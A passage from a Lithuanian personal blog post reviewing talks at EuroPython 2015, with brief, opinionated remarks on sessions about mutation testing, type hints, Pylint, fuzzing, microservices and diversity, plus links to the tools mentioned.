<a href="http://2.bp.blogspot.com/-5SgWMCZ-zKs/Ve9OlY6xK2I/AAAAAAAABD4/Vhw0P3chj6Y/s1600/ep2015-0008.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="211" src="http://2.bp.blogspot.com/-5SgWMCZ-zKs/Ve9OlY6xK2I/AAAAAAAABD4/Vhw0P3chj6Y/s320/ep2015-0008.jpg" width="320" /></a></div>
<br />
Bazinė idėja ta, kad testus reikia rašyti tvarkingai, kaip ir visą kitą likusį kodą. Taip pat patarė naudoti visą magiją: meta klases, dekoratorius, multi-paveldėjima ir panašiai. Mano manymu: ir taip, ir ne. Taip -- nes tvarkingas kodas yra tvarkingas. Ne -- nes jeigu per daug įmantriai parašysi, tai paskui nebesigaudysi, dėl ko nepraeina: ar dėl sugedusio kodo, ar dėl prakeiktų įmantrumų. Be to, kartais kodo dubliavimas testuose labai pagerina testų skaitomumą. Kas palengvina supratimą, kodėl testas griūna.
<br />
<br />
<h4>
2015-07-20: Python Multithreading and Multiprocessing
</h4>
<a href="https://ep2015.europython.eu/conference/talks/python-multithreading-and-multiprocessing-concurrency-and-parallelism">https://ep2015.europython.eu/conference/talks/python-multithreading-and-multiprocessing-concurrency-and-parallelism</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-wi6gzIc7FFE/Ve9Ol53JRlI/AAAAAAAABHg/Lkb_4CUAPBo/s1600/ep2015-0009.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="305" src="http://2.bp.blogspot.com/-wi6gzIc7FFE/Ve9Ol53JRlI/AAAAAAAABHg/Lkb_4CUAPBo/s320/ep2015-0009.jpg" width="320" /></a></div>
<br />
Labai primityvi kalba apie gijas ir procesorius.
<br />
<h4>
<br /></h4>
<h4>
2015-07-20: Lightning Talks
</h4>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-YzfpcPr-IpU/Ve9OmGJwy3I/AAAAAAAABEE/8oKoiqJaezw/s1600/ep2015-0010.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://4.bp.blogspot.com/-YzfpcPr-IpU/Ve9OmGJwy3I/AAAAAAAABEE/8oKoiqJaezw/s320/ep2015-0010.jpg" width="235" /></a></div>
<br />
Man pačiom įdomiausias dalykas, kurį išmokau šitose žaibiškose kalbose yra mutaciniai testai.
<br />
<a href="https://en.wikipedia.org/wiki/Mutation_testing">https://en.wikipedia.org/wiki/Mutation_testing</a>
<br />
<br />
Idėja paprasta. Turi kodą. Turi testus. Testai padengia 100% kodo. Tada įrankis daro taip:
<br />
- Ima kodą ir jį vos vos pakeičia. Sukuria mutantą<br />
- Praleidžia testus ir žiūri, ar testai praeina, ar ne<br />
- Jeigu testai nepraeina, tai testai nužudė mutantą<br />
- Jeigu leidžiant testus tiesiog nulūžtama, tai mutantas buvo nekompetentingas<br />
- Jeigu leidžiant testus praėjo visas 100%, tai mutantas išgyveno ir turbūt reiktų pagerinti testus<br />
<br />
Eksperimentinė Python implementacija:
<br />
<a href="http://cosmic-ray.readthedocs.org/">http://cosmic-ray.readthedocs.org</a>
<br />
<br />
Dar kitos šiaip įdomesnės nuorodos:
<br />
<a href="https://www.pykka.org/">https://www.pykka.org/</a>
<br />
<a href="https://pygame-zero.readthedocs.org/">https://pygame-zero.readthedocs.org/</a>
<br />
<br />
<h4>
2015-07-21: Keynote: Python now and in the future
</h4>
<a href="https://ep2015.europython.eu/conference/talks/keynote-python-now-and-in-the-future">https://ep2015.europython.eu/conference/talks/keynote-python-now-and-in-the-future</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-7ggSwu5qcbE/Ve9Omq7822I/AAAAAAAABEU/yfbG6O5kBuI/s1600/ep2015-0011.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="217" src="http://3.bp.blogspot.com/-7ggSwu5qcbE/Ve9Omq7822I/AAAAAAAABEU/yfbG6O5kBuI/s320/ep2015-0011.jpg" width="320" /></a></div>
<br />
Guido kalba. Nors ir padrika, bet labai gera kalba. Kelios atsitiktinės nuotrupos, kurias įsidėmėjau:
<br />
- Ateityje tikėtini dalykai: tipų užuominos (<i>type hints</i>)<br />
- Ateityje galimi teoriniai dalykai: GIL panaikinimas; Python palaikymas mobiliuose; Python palaikymas naršyklėse<br />
- PyPy: kaip ir miręs (ar bent jau leisgyvis)<br />
- Reikia visiems judėti prie Python 3<br />
- Dėvėjo basutes su kojinėmis. Ačiū jam -- dabar ir aš turiu teisę taip daryti<br />
<br />
<h4>
2015-07-21: Code is not text!
</h4>
<a href="https://ep2015.europython.eu/conference/talks/code-as-data-surprising-insights-we-get-when-stopping">https://ep2015.europython.eu/conference/talks/code-as-data-surprising-insights-we-get-when-stopping</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-jdWM54eVipo/Ve9OnKv5muI/AAAAAAAABEI/sopSbiBJNYI/s1600/ep2015-0012.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="272" src="http://4.bp.blogspot.com/-jdWM54eVipo/Ve9OnKv5muI/AAAAAAAABEI/sopSbiBJNYI/s320/ep2015-0012.jpg" width="320" /></a></div>
<br />
Nu iš esmės labai sudėtingai papasakojo, kad į kodą galima žiūrėti kaip į medžio struktūros grafą. Hmmm... Nu taip, bet ne 45 minutes gi tą reikia pasakoti. Būtų užtekę pasakyti LISP ir viskas.
<br />
<br />
<h4>
2015-07-21: Beyond grep: Practical Logging and Metrics
</h4>
<a href="https://ep2015.europython.eu/conference/talks/beyond-grep-practical-logging-and-metrics">https://ep2015.europython.eu/conference/talks/beyond-grep-practical-logging-and-metrics</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-rkqk8QqWVFY/Ve9OnjWIygI/AAAAAAAABHg/agUdAWQmTKA/s1600/ep2015-0013.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="246" src="http://2.bp.blogspot.com/-rkqk8QqWVFY/Ve9OnjWIygI/AAAAAAAABHg/agUdAWQmTKA/s320/ep2015-0013.jpg" width="320" /></a></div>
<br />
Visokių įrankių ir bibliotekų rinkinys. Daugiau nelabai atsimenu. <i>Sentry</i>, <i>raven-python</i>, <i>Kibana</i>, <i>Grafana</i>.
<br />
<br />
<h4>
2015-07-21: Nameko for Microservices
</h4>
<a href="https://ep2015.europython.eu/conference/talks/nameko-for-microservices">https://ep2015.europython.eu/conference/talks/nameko-for-microservices</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-FOj80PJzbbM/Ve9Ong2qEKI/AAAAAAAABHg/zwjuCHhXyKw/s1600/ep2015-0014.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="275" src="http://1.bp.blogspot.com/-FOj80PJzbbM/Ve9Ong2qEKI/AAAAAAAABHg/zwjuCHhXyKw/s320/ep2015-0014.jpg" width="320" /></a></div>
<br />
Pristatę Nameko. Nameko yra mikro karkasas mikro servisams. Ir tuo pačiu dar papasakojo, kas tie mikro servisai ir kaip iki jų prieiti. Pavyzdžiui, rekomendavo nuo monolitinės aplikacijos pereiti prie multilitinės (išrado naują terminą). Ir tik tada galutinai peršokti prie mikro servisų.
<br />
<a href="https://nameko.readthedocs.org/">https://nameko.readthedocs.org/</a>
<br />
<h4>
<br /></h4>
<h4>
2015-07-21: Get native with Cython</h4>
<a href="https://ep2015.europython.eu/conference/talks/get-native-with-cython-1">https://ep2015.europython.eu/conference/talks/get-native-with-cython-1</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-cfCtPC_V76E/Ve9Ootcl_BI/AAAAAAAABEk/rMe6bZXUIkw/s1600/ep2015-0015.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="312" src="http://4.bp.blogspot.com/-cfCtPC_V76E/Ve9Ootcl_BI/AAAAAAAABEk/rMe6bZXUIkw/s320/ep2015-0015.jpg" width="320" /></a></div>
<br />
Cython branduolinis kūrėjas (Langlų: <i>core developer</i>) pristatė Cython. Tiksliau pirma ilgai ilgai reklamavo savo įmonę ir gana ilgai pristatinėjo tos įmonės darbuotojų paieškos skelbimą. Per likusį laiką bandė pristatyti Cython. Vienintelis dalykas, kuris įstrigo, tai kad Cython tipų anotacijos skiriasi nuo Python 3 būsimų tipų anotacijų.
<br />
<a href="http://cython.org/">http://cython.org/</a>
<br />
<br />
<h4>
2015-07-21: Python idioms to help you write good code
</h4>
<a href="https://ep2015.europython.eu/conference/talks/python-idioms-to-help-you-write-good-code">https://ep2015.europython.eu/conference/talks/python-idioms-to-help-you-write-good-code</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/--pJ8jHwUaXs/Ve9Oo4U85JI/AAAAAAAABHg/5EP5xzlP4us/s1600/ep2015-0016.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://4.bp.blogspot.com/--pJ8jHwUaXs/Ve9Oo4U85JI/AAAAAAAABHg/5EP5xzlP4us/s320/ep2015-0016.jpg" width="310" /></a></div>
<br />
Labai jau bazinius dalykus pasakojo. Gal naujokams ir nieko. Aš nieko iš jos nepasiėmiau.
<br />
<h4>
<br /></h4>
<h4>
2015-07-21: Take TDD to a new level
</h4>
<a href="https://ep2015.europython.eu/conference/talks/mashing-up-pytest-coveragepy-and-astpy-to-take-tdd-to-a-new-level">https://ep2015.europython.eu/conference/talks/mashing-up-pytest-coveragepy-and-astpy-to-take-tdd-to-a-new-level</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-LIUeknxoQp0/Ve9OpcZyGNI/AAAAAAAABEw/0sJyADjbink/s1600/ep2015-0017.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="215" src="http://1.bp.blogspot.com/-LIUeknxoQp0/Ve9OpcZyGNI/AAAAAAAABEw/0sJyADjbink/s320/ep2015-0017.jpg" width="320" /></a></div>
<br />
Pranešėjas pristatė <i>py.test</i> įskiepį <i>testmon</i>, kuris stebi kodo pakeitimus ir praleidžia tik tuos testus, kuriuos galėjo paveikti paskutinis kodo pakeitimas. Taip sumažindamas testų paleidimo laiką nuo laiko tarpo, skaičiuojamo minutėmis, iki tarpo, skaičiuojamo sekundėmis. Skamba per gerai? Taip ir yra -- įskiepis dar nėra pasiekęs 1.0 versijos ir turi gana daug aštrių kampų. Pavyzdžiui: nemoka pastebėti C kodo pokyčių.
<br />
<a href="http://pytest.org/">http://pytest.org/</a><br />
<a href="https://pypi.python.org/pypi/pytest-testmon">https://pypi.python.org/pypi/pytest-testmon</a><br />
<br />
<h4>
2015-07-21: Functional Python with Mochi
</h4>
<a href="https://ep2015.europython.eu/conference/talks/functional-python-with-mochi">https://ep2015.europython.eu/conference/talks/functional-python-with-mochi</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-XRI4xbGmWNQ/Ve9Op_yO7lI/AAAAAAAABHg/DuV6qgRvLCQ/s1600/ep2015-0018.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://3.bp.blogspot.com/-XRI4xbGmWNQ/Ve9Op_yO7lI/AAAAAAAABHg/DuV6qgRvLCQ/s320/ep2015-0018.jpg" width="275" /></a></div>
<br />
Pristatė į Python panašią funkcinę programavimo kalbą, parašytą su Python. Kaip ir viskas gerai, išskyrus tik tai, kad pati kalba kaip ir visiškai žaislinis projektas, neturintis jokių vilčių išgyventi. Pasaulyje yra tikrai daug geresnių ir gyvesnių funkcinių programavimo kalbų. Ir <i>Pythoniškumas</i> funkciniai programavimo kalbai, mano nuomone, pliusų neprideda.
<br />
<a href="https://github.com/i2y/mochi">https://github.com/i2y/mochi</a>
<br />
<br />
<h4>
2015-07-22: Keynote: Towards a more effective, decentralized web
</h4>
<a href="https://ep2015.europython.eu/conference/talks/keynote-towards-a-more-effective-decentralized-web">https://ep2015.europython.eu/conference/talks/keynote-towards-a-more-effective-decentralized-web</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-OYranI-5Czw/Ve9OqNqQQ9I/AAAAAAAABE8/WZ7b1QyFSmo/s1600/ep2015-0019.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="281" src="http://3.bp.blogspot.com/-OYranI-5Czw/Ve9OqNqQQ9I/AAAAAAAABE8/WZ7b1QyFSmo/s320/ep2015-0019.jpg" width="320" /></a></div>
<br />
Kalba buvo utopiniai kairuoliški svaisčiojimai apie išsivadavimą nuo piktųjų korporacijų su decentralizuoto interneto pagalba.
<a href="http://ipfs.io/">http://ipfs.io/</a>
<br />
<h4>
<br /></h4>
<h4>
2015-07-22: Python Security & Cryptography
</h4>
<a href="https://ep2015.europython.eu/conference/talks/python-security-cryptography">https://ep2015.europython.eu/conference/talks/python-security-cryptography</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-aONBchPx2q0/Ve9Oqjf4BKI/AAAAAAAABHg/OH9EBEpwsHU/s1600/ep2015-0020.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="196" src="http://3.bp.blogspot.com/-aONBchPx2q0/Ve9Oqjf4BKI/AAAAAAAABHg/OH9EBEpwsHU/s320/ep2015-0020.jpg" width="320" /></a></div>
<br />
Labai bazinė kalba. Gali būti, kad informacija yra pasenusi, klaidinga ir gal net pavojinga. Panašiai kaip, kad gal kažkada koduoti informaciją su MD5 buvo visai nieko idėja. Bet tas kažkada jau seniai praėjęs.
<br />
<br />
<h4>
2015-07-22: Type Hints for Python 3.5
</h4>
<a href="https://ep2015.europython.eu/conference/talks/type-hints-for-python-35">https://ep2015.europython.eu/conference/talks/type-hints-for-python-35</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-a830NTYvROE/Ve9Oq7h_nOI/AAAAAAAABHg/ByWx5wuNOnk/s1600/ep2015-0021.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="156" src="http://1.bp.blogspot.com/-a830NTYvROE/Ve9Oq7h_nOI/AAAAAAAABHg/ByWx5wuNOnk/s320/ep2015-0021.jpg" width="320" /></a></div>
<br />
Guido kalba apie tipų užuominas (<i>type hints</i>) ir tipų anotacijas. Labai rekomenduoju šitą pranešimą. Nes Python ateityje neprivalomi tipai, panašu, kad taps įprastas dalykas. Jie bus jau nuo Python 3.5 kaip eksperimentinė naujovė. Bet panašu, kad liks su visam.
<br />
<a href="https://www.python.org/dev/peps/pep-0411/">https://www.python.org/dev/peps/pep-0411/</a><br />
<a href="https://www.python.org/dev/peps/pep-0484/">https://www.python.org/dev/peps/pep-0484/</a><br />
<a href="https://docs.python.org/3.5/library/typing.html">https://docs.python.org/3.5/library/typing.html</a><br />
<h4>
<br /></h4>
<h4>
2015-07-22: Odoo the underdog python killer app
</h4>
<a href="https://ep2015.europython.eu/conference/talks/odoo-the-underdog-python-killer-app-a-python-framework-for-web-based-business-apps">https://ep2015.europython.eu/conference/talks/odoo-the-underdog-python-killer-app-a-python-framework-for-web-based-business-apps</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-oBrBfwjuddQ/Ve9OrRndFVI/AAAAAAAABHg/KwLPoC3Cxsk/s1600/ep2015-0022.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="216" src="http://2.bp.blogspot.com/-oBrBfwjuddQ/Ve9OrRndFVI/AAAAAAAABHg/KwLPoC3Cxsk/s320/ep2015-0022.jpg" width="320" /></a></div>
<blockquote class="tr_bq">
Oodoo is used by 2 millions of users, although relatively unknown in the python community
</blockquote>
Galvojau nueisiu pasižiūrėsiu, kas čia per toks populiarus, man nežinomas karkasas, turintis tiek daug vartotojų. Pasakojo, pasakojo ten apie tą karkasą ir tada lyg tarp kitko užsiminė, kad "<i>Aij jo -- anksčiau jis vadinosi OpenERP</i>". Ir viskas -- daugiau neužsiminė, kad tas Oodoo yra OpenERP.
<br />
<br />
OpenERP! OpenERP! OpenERP! Tiek pranešimo pavadinime, tiek aprašyme turėjo būti paminėta, kad čia prakeiktas OpenERP. Aš galvojau, kad čia bus kažkas įdomaus ir naujo. O čia bam -- nuobodybė OpenERP. Išdūrė mane su šita kalba.
<br />
<a href="https://www.odoo.com/">https://www.odoo.com/</a><br />
<a href="https://en.wikipedia.org/wiki/Odoo">https://en.wikipedia.org/wiki/Odoo</a><br />
<br />
<h4>
2015-07-22: 12 years of Pylint
</h4>
<a href="https://ep2015.europython.eu/conference/talks/12-years-of-pylint-or-how-i-stopped-worrying-and-love-the-bugs">https://ep2015.europython.eu/conference/talks/12-years-of-pylint-or-how-i-stopped-worrying-and-love-the-bugs</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-odX7ri4I3GU/Ve9OrlGnGDI/AAAAAAAABHg/VHp3CbLrKY0/s1600/ep2015-0023.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://2.bp.blogspot.com/-odX7ri4I3GU/Ve9OrlGnGDI/AAAAAAAABHg/VHp3CbLrKY0/s320/ep2015-0023.jpg" width="317" /></a></div>
<br />
Pylint branduolinis lydintysis (Langlų: <i>core maintainer</i>) Claudio pristatė <i>pylint</i> ir pakalbėjo apie galima <i>pylint</i> ateitį. <i>Pylint</i> yra vienas iš kiečiausių statinės kodo analizės įrankių. Labai įdomu, į ką jis atvirs, kai Python pasaulyje bus realiai pradėti naudoti kintamųjų tipai (<i>type hints</i>).
<br />
<a href="http://www.pylint.org/">http://www.pylint.org/</a>
<br />
<a href="http://www.astroid.org/">http://www.astroid.org/</a>
<br />
<br />
Čia nesusiję su <i>Pylint</i>. Bet tas pats Claudio vakarinėse konferencijos aptarimo sesijose vis visiems bandė įsiūlyti sudalyvauti Python Romania. Tai pareklamuosiu ir aš, nes nu gi kietas tas Claudio:
<br />
<a href="http://pycon.ro/">http://pycon.ro/</a>
<br />
<h4>
<br /></h4>
<h4>
2015-07-22: Designing a scalable and distributed application
</h4>
<a href="https://ep2015.europython.eu/conference/talks/using-service-discovery-a-distributed-application">https://ep2015.europython.eu/conference/talks/using-service-discovery-a-distributed-application</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-O-Y-pB3H_nA/Ve9OsELjQ4I/AAAAAAAABHg/X9ge0Tw2s34/s1600/ep2015-0024.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="274" src="http://4.bp.blogspot.com/-O-Y-pB3H_nA/Ve9OsELjQ4I/AAAAAAAABHg/X9ge0Tw2s34/s320/ep2015-0024.jpg" width="320" /></a></div>
<br />
Nelabai atsimenu, ką čia pasakojo. Nelabai įdomiai matyt pasakojo. Tesu užsirašęs vieną nuorodą. Gal padės:
<br />
<a href="http://kr.github.io/beanstalkd/">http://kr.github.io/beanstalkd/</a>
<br />
<br />
<h4>
2015-07-22: How to build a spreadsheet with Python
</h4>
<a href="https://ep2015.europython.eu/conference/talks/how-to-build-a-spreadsheet-with-python">https://ep2015.europython.eu/conference/talks/how-to-build-a-spreadsheet-with-python</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-wP4r9_F-aT8/Ve9OsY_1l5I/AAAAAAAABHg/hpaqC_BLgfY/s1600/ep2015-0025.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="280" src="http://1.bp.blogspot.com/-wP4r9_F-aT8/Ve9OsY_1l5I/AAAAAAAABHg/hpaqC_BLgfY/s320/ep2015-0025.jpg" width="320" /></a></div>
<br />
Nuotaikinga kalba apie tai, kaip susikurti mini ekseliuką pas save. Rekomenduoju jeigu norite suprasti, kaip veikia viena svarbiausių programų: MS Excel.
<br />
<br />
Senovėje žmonės tikėjo, kad pasaulis laikosi ant trijų dramblių. Netiesa -- pasaulis laikosi ant MS Excel ir snarglių.
<br />
<a href="https://github.com/pythonanywhere/dirigible-spreadsheet">https://github.com/pythonanywhere/dirigible-spreadsheet</a>
<br />
<br />
<h4>
2015-07-22: Lightning Talks
</h4>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-4QeBSQFGh3g/Ve9OsndPb1I/AAAAAAAABFg/PT3V4lRCL-g/s1600/ep2015-0026.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="http://3.bp.blogspot.com/-4QeBSQFGh3g/Ve9OsndPb1I/AAAAAAAABFg/PT3V4lRCL-g/s320/ep2015-0026.jpg" width="320" /></a></div>
<br />
Nieko tokio įspūdingo, kaip mutaciniai testai, niekas nepapasakojo. Tai tik kelios nuorodos:
<br />
<br />
Python juokeliai:<br />
<a href="https://github.com/judy2k/stupid-python-tricks">https://github.com/judy2k/stupid-python-tricks</a>
<br />
<br />
Kažkoks dalykas, skirtas aprašyti API<br />
<a href="http://raml.org/">http://raml.org/</a>
<br />
<br />
Labai dažnai konferencijoje girdėjau apie šitą įrankį. Čia kažkas apie duomenų
išsilupimą analizei:<br />
<a href="http://scrapy.org/">http://scrapy.org/</a>
<br />
<br />
<i>(2015-07-23 sėkmingai pramiegojau konferencijos pradžią. Kodėl? O vat todėl, kad saikas yra dorybė ir dorybėmis ne visi vienodai apdovanoti)
</i><br />
<br />
<h4>
2015-07-23: Better asynchronous code with Tornado and Python 3
</h4>
<a href="https://ep2015.europython.eu/conference/talks/better-asynchronous-code-with-tornado-and-python-3">https://ep2015.europython.eu/conference/talks/better-asynchronous-code-with-tornado-and-python-3</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-sNSs7AuUHh4/Ve9O0VEtB8I/AAAAAAAABHU/_1xVA6553rk/s1600/ep2015-0027.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="230" src="http://4.bp.blogspot.com/-sNSs7AuUHh4/Ve9O0VEtB8I/AAAAAAAABHU/_1xVA6553rk/s320/ep2015-0027.jpg" width="320" /></a></div>
<br />
Kaip priversti <i>Torando</i> naudotis ne savo vidiniu įvykių ciklu, bet perpanaudoti <i>asyncio</i> įvykių ciklą. Tada galima naudoti <i>yield</i> konstruktą.
<br />
Nelabai ką atsimenu, tai įtariu nykoka kalba.
<br />
<br />
<h4>
2015-07-23: Fuzzing and property based testing
</h4>
<a href="https://ep2015.europython.eu/conference/talks/testing-with-two-failure-seeking-missiles-fuzzing-and-property-based-testing">https://ep2015.europython.eu/conference/talks/testing-with-two-failure-seeking-missiles-fuzzing-and-property-based-testing</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-64eRCk49v4A/Ve9OtIvaCAI/AAAAAAAABHg/PmO3DH716Lc/s1600/ep2015-0028.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="149" src="http://3.bp.blogspot.com/-64eRCk49v4A/Ve9OtIvaCAI/AAAAAAAABHg/PmO3DH716Lc/s320/ep2015-0028.jpg" width="320" /></a></div>
<br />
Pristatė kelis įrankius skirtus Python neapibrėžtam testavimui (<i>Fuzz testing</i>). Kitaip nei unit testai, neapibrėžto testavimo metu ne programuotojas pateikia įvesties duomenis, o pats testavimo karkasas prigeneruoja daug, daug įvairių atsitiktinių (ar iš dalies atsitiktinių) įvesties variantų ir bando nužudyti testuojamą kodo vietą. Įdomi kalba. Gale dar pristato C įrankį, kurį galima perpanaudoti Python kodo testavimui.
<br />
<a href="https://en.wikipedia.org/wiki/Fuzz_testing">https://en.wikipedia.org/wiki/Fuzz_testing</a>
<br />
<a href="https://hypothesis.readthedocs.org/">https://hypothesis.readthedocs.org/</a>
<br />
<a href="http://lcamtuf.coredump.cx/afl/">http://lcamtuf.coredump.cx/afl/</a>
<br />
<a href="https://wiki.haskell.org/Introduction_to_QuickCheck2">https://wiki.haskell.org/Introduction_to_QuickCheck2</a>
<br />
<br />
<h4>
2015-07-23: Randomized data generation for robust unit testing
</h4>
<a href="https://ep2015.europython.eu/conference/talks/whats-the-fuzz-all-about-randomized-data-generation-for-robust-unit-testing">https://ep2015.europython.eu/conference/talks/whats-the-fuzz-all-about-randomized-data-generation-for-robust-unit-testing</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-Zc3fkYnjSYg/Ve9Otiu-8eI/AAAAAAAABFs/ObiocZBqGfg/s1600/ep2015-0029.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="128" src="http://1.bp.blogspot.com/-Zc3fkYnjSYg/Ve9Otiu-8eI/AAAAAAAABFs/ObiocZBqGfg/s320/ep2015-0029.jpg" width="320" /></a></div>
<br />
Iš esmės beveik tokia pati kalba, kaip ir prieš tai klausyta. Apie neapibrėžtą testavimą. Kadangi man pati idėja labai patinka, tai aš nesigailiu, kad išklausiau abi. Šiaip turbūt užtektų klausyti tik vienos.
<br />
<br />
<h4>
2015-07-23: Diversity: We are not done yet
</h4>
<a href="https://ep2015.europython.eu/conference/talks/diversity-we-are-not-done-yet">https://ep2015.europython.eu/conference/talks/diversity-we-are-not-done-yet</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-vJZY-4bKOWw/Ve9OtypGT3I/AAAAAAAABHQ/nsrTN5qoVFk/s1600/ep2015-0030.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://1.bp.blogspot.com/-vJZY-4bKOWw/Ve9OtypGT3I/AAAAAAAABHQ/nsrTN5qoVFk/s320/ep2015-0030.jpg" width="254" /></a></div>
<br />
<i>Spotify</i> programuotoja (ta pati, kur anksčiau laidė juokelius apie Antarktidą) pasakojo įkvepiančią (bent jau taip supratau iš kitų klausytojų reakcijos) kalbą apie tai kaip diskriminuojamos moterys ir kaip galima su tuo kovoti.
<br />
<br />
Man labiausiai įsiminė, kad ji į galą pradėjo daug keiktis. Tai paskui likusią konferencijos dalį mes irgo tarpusavyje pradėjome daug keiktis imituodami pranešėją.
<br />
<br />
Nors pranešimo idėjos geros, bet nu jeigu juokinga, tai juokinga.
<br />
<br />
<h4>
2015-07-23: What it's really like building RESTful APIs with Django
</h4>
<a href="https://ep2015.europython.eu/conference/talks/what-its-really-like-building-restful-apis-with-django">https://ep2015.europython.eu/conference/talks/what-its-really-like-building-restful-apis-with-django</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-sc0TmIgvRwc/Ve9OuCSbV1I/AAAAAAAABF4/4UD6Nhdh1_k/s1600/ep2015-0031.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://2.bp.blogspot.com/-sc0TmIgvRwc/Ve9OuCSbV1I/AAAAAAAABF4/4UD6Nhdh1_k/s320/ep2015-0031.jpg" width="308" /></a></div>
<br />
Kiek pamenu, tai darė nevykusį "<i>Django Rest Framework</i>" apmokymą.
<br />
<br />
<h4>
2015-07-23: Through the lens of Haskell: exploring new ideas for library design
</h4>
<a href="https://ep2015.europython.eu/conference/talks/exploring-the-haskell-ecosystem-to-bring-back-some-ideas">https://ep2015.europython.eu/conference/talks/exploring-the-haskell-ecosystem-to-bring-back-some-ideas</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-92at2ljj-uA/Ve9Ouq0dwGI/AAAAAAAABGI/QFJytNTD4x4/s1600/ep2015-0032.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="220" src="http://1.bp.blogspot.com/-92at2ljj-uA/Ve9Ouq0dwGI/AAAAAAAABGI/QFJytNTD4x4/s320/ep2015-0032.jpg" width="320" /></a></div>
<br />
Labai entuziastingai pasakojo. Bet nežinau ar dėl stipraus prancūziško akcento, ar dėl to, kad aš priedurnis, ar dėl to, kad pranešimas padrikas; tačiau aš nelabai ką supratau.
<br />
<br />
<h4>
2015-07-23: Antipatterns for Diversity
</h4>
<a href="https://ep2015.europython.eu/conference/talks/antipatterns-for-diversity-stop-doing-the-same-thing-but-expecting-different-results">https://ep2015.europython.eu/conference/talks/antipatterns-for-diversity-stop-doing-the-same-thing-but-expecting-different-results</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-HsVzi6JZROM/Ve9OuzfrDRI/AAAAAAAABGE/-Tybzce4L2s/s1600/ep2015-0033.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="209" src="http://3.bp.blogspot.com/-HsVzi6JZROM/Ve9OuzfrDRI/AAAAAAAABGE/-Tybzce4L2s/s320/ep2015-0033.jpg" width="320" /></a></div>
<br />
Moteris, kuri anksčiau buvo vyras, pasakojo apie lygias galimybes. Tikrai netechniškai kalba. Lygių galimybių sąvoka šitoje kalboje pagaliau buvo naudojama ne tik vienos lyties, bet ir kitų diskriminuojamų grupių galimybėms palyginti. Kalboje berods nebuvo nei vieno keiksmažodžio.
<br />
<br />
<h4>
2015-07-23: Lightning Talks
</h4>
<div class="separator" style="clear: both; text-align: center;">
